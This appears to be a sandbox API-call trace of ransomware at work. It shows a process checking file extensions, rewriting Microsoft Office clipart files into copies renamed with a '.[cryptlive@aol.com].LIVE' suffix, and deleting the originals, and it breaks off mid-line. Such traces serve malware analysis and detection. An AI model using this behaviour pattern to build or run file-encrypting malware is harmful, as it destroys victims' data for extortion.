lstrlenW (lpString=".docx") returned 5 [0152.015] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.015] lstrlenW (lpString=".pdf") returned 4 [0152.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.015] lstrlenW (lpString=".xls") returned 4 [0152.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.015] lstrlenW (lpString=".xlsx") returned 5 [0152.015] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.015] lstrlenW (lpString=".ppt") returned 4 [0152.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0152.015] lstrlenW (lpString=".zip") returned 4 [0152.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.015] lstrlenW (lpString=".rar") returned 4 [0152.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.015] lstrlenW (lpString=".bz2") returned 4 [0152.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.015] lstrlenW (lpString=".7z") returned 3 [0152.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0152.016] lstrlenW (lpString=".dbf") returned 4 [0152.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0152.016] lstrlenW (lpString=".1cd") returned 4 [0152.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0152.016] lstrlenW (lpString=".jpg") returned 4 [0152.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0152.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0152.016] lstrlenW (lpString=".doc") returned 4 [0152.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString=".docx") returned 5 [0152.016] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.016] lstrlenW (lpString=".pdf") returned 4 [0152.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString=".xls") returned 4 [0152.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.016] lstrlenW (lpString=".xlsx") returned 5 [0152.016] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.016] lstrlenW (lpString=".ppt") returned 4 [0152.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0152.016] lstrlenW (lpString=".zip") returned 4 [0152.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.016] lstrlenW (lpString=".rar") returned 4 [0152.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString=".bz2") returned 4 [0152.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.016] lstrlenW (lpString=".7z") returned 3 [0152.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0152.017] lstrlenW (lpString=".dbf") returned 4 [0152.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0152.017] lstrlenW (lpString=".1cd") returned 4 [0152.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0152.017] lstrlenW (lpString=".jpg") returned 4 [0152.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.017] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.017] lstrlenW (lpString="J0105320.WMF") returned 12 [0152.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0152.303] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2020) returned 1 [0152.303] CloseHandle (hObject=0x314) returned 1 [0152.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf")) returned 0x20 [0152.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0152.581] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.581] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0152.582] GetLastError () returned 0x0 [0152.582] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x7e4, lpOverlapped=0x0) returned 1 [0152.626] WriteFile (in: hFile=0x1b0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0152.627] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0152.627] WriteFile (in: hFile=0x1b0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.627] SetEndOfFile (hFile=0x1b0) returned 1 [0152.627] CloseHandle (hObject=0x1b0) returned 1 [0152.627] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.627] SetEndOfFile (hFile=0x3b4) returned 1 [0152.629] CloseHandle (hObject=0x3b4) returned 1 [0152.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0152.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0152.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0152.698] lstrlenW (lpString=".doc") returned 4 [0152.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.698] lstrlenW (lpString=".docx") returned 5 [0152.698] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.698] lstrlenW (lpString=".pdf") returned 4 [0152.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.698] lstrlenW (lpString=".xls") returned 4 [0152.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.698] lstrlenW (lpString=".xlsx") returned 5 [0152.698] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.698] lstrlenW (lpString=".ppt") returned 4 [0152.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0152.698] lstrlenW (lpString=".zip") returned 4 [0152.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.699] lstrlenW (lpString=".rar") returned 4 [0152.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.699] lstrlenW (lpString=".bz2") returned 4 [0152.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.699] lstrlenW (lpString=".7z") returned 3 [0152.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0152.699] lstrlenW (lpString=".dbf") returned 4 [0152.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0152.699] lstrlenW (lpString=".1cd") returned 4 [0152.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0152.699] lstrlenW (lpString=".jpg") returned 4 [0152.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0152.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0152.699] lstrlenW (lpString=".doc") returned 4 [0152.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.699] lstrlenW (lpString=".docx") returned 5 [0152.699] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.699] lstrlenW (lpString=".pdf") returned 4 [0152.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.699] lstrlenW (lpString=".xls") returned 4 [0152.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.699] lstrlenW (lpString=".xlsx") returned 5 [0152.699] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.699] lstrlenW (lpString=".ppt") returned 4 [0152.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0152.699] lstrlenW (lpString=".zip") returned 4 [0152.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.700] lstrlenW (lpString=".rar") returned 4 [0152.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.700] lstrlenW (lpString=".bz2") returned 4 [0152.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.700] lstrlenW (lpString=".7z") returned 3 [0152.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0152.700] lstrlenW (lpString=".dbf") returned 4 [0152.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0152.700] lstrlenW (lpString=".1cd") returned 4 [0152.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned 63 [0152.700] lstrlenW (lpString=".jpg") returned 4 [0152.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.700] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.700] lstrlenW (lpString="J0105380.WMF") returned 12 [0152.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0152.701] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4624) returned 1 [0152.701] CloseHandle (hObject=0x1dc) returned 1 [0152.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 0x20 [0152.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0152.701] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.701] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.702] GetLastError () returned 0x0 [0152.702] ReadFile (in: hFile=0x1dc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1210, lpOverlapped=0x0) returned 1 [0152.759] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1220, lpOverlapped=0x0) returned 1 [0152.760] ReadFile (in: hFile=0x1dc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0152.760] WriteFile (in: hFile=0x384, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.760] SetEndOfFile (hFile=0x384) returned 1 [0152.760] CloseHandle (hObject=0x384) returned 1 [0152.760] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.760] SetEndOfFile (hFile=0x1dc) returned 1 [0152.762] CloseHandle (hObject=0x1dc) returned 1 [0152.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 1 [0152.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0152.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0152.763] lstrlenW (lpString=".doc") returned 4 [0152.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.763] lstrlenW (lpString=".docx") returned 5 [0152.763] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.763] lstrlenW (lpString=".pdf") returned 4 [0152.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.764] lstrlenW (lpString=".xls") returned 4 [0152.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.764] lstrlenW (lpString=".xlsx") returned 5 [0152.764] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.764] lstrlenW (lpString=".ppt") returned 4 [0152.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0152.764] lstrlenW (lpString=".zip") returned 4 [0152.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.764] lstrlenW (lpString=".rar") returned 4 [0152.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.764] lstrlenW (lpString=".bz2") returned 4 [0152.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.764] lstrlenW (lpString=".7z") returned 3 [0152.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0152.764] lstrlenW (lpString=".dbf") returned 4 [0152.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0152.764] lstrlenW (lpString=".1cd") returned 4 [0152.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0152.764] lstrlenW (lpString=".jpg") returned 4 [0152.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0152.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0152.764] lstrlenW (lpString=".doc") returned 4 [0152.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.764] lstrlenW (lpString=".docx") returned 5 [0152.764] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.764] lstrlenW (lpString=".pdf") returned 4 [0152.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.765] lstrlenW (lpString=".xls") returned 4 [0152.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.765] lstrlenW (lpString=".xlsx") returned 5 [0152.765] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.765] lstrlenW (lpString=".ppt") returned 4 [0152.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0152.765] lstrlenW (lpString=".zip") returned 4 [0152.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.765] lstrlenW (lpString=".rar") returned 4 [0152.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.765] lstrlenW (lpString=".bz2") returned 4 [0152.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.765] lstrlenW (lpString=".7z") returned 3 [0152.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0152.765] lstrlenW (lpString=".dbf") returned 4 [0152.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0152.765] lstrlenW (lpString=".1cd") returned 4 [0152.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63 [0152.765] lstrlenW (lpString=".jpg") returned 4 [0152.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.765] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.765] lstrlenW (lpString="J0105388.WMF") returned 12 [0152.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0152.797] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=8252) returned 1 [0152.797] CloseHandle (hObject=0x1b8) returned 1 [0152.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf")) returned 0x20 [0152.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0152.798] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.798] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0152.798] GetLastError () returned 0x0 [0152.799] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x203c, lpOverlapped=0x0) returned 1 [0152.801] WriteFile (in: hFile=0x1fc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2040, lpOverlapped=0x0) returned 1 [0152.803] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0152.803] WriteFile (in: hFile=0x1fc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.804] SetEndOfFile (hFile=0x1fc) returned 1 [0152.804] CloseHandle (hObject=0x1fc) returned 1 [0152.804] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.804] SetEndOfFile (hFile=0x1b8) returned 1 [0152.806] CloseHandle (hObject=0x1b8) returned 1 [0152.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0152.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0152.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0152.807] lstrlenW (lpString=".doc") returned 4 [0152.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.807] lstrlenW (lpString=".docx") returned 5 [0152.807] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.807] lstrlenW (lpString=".pdf") returned 4 [0152.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.807] lstrlenW (lpString=".xls") returned 4 [0152.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.807] lstrlenW (lpString=".xlsx") returned 5 [0152.807] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.807] lstrlenW (lpString=".ppt") returned 4 [0152.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0152.807] lstrlenW (lpString=".zip") returned 4 [0152.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 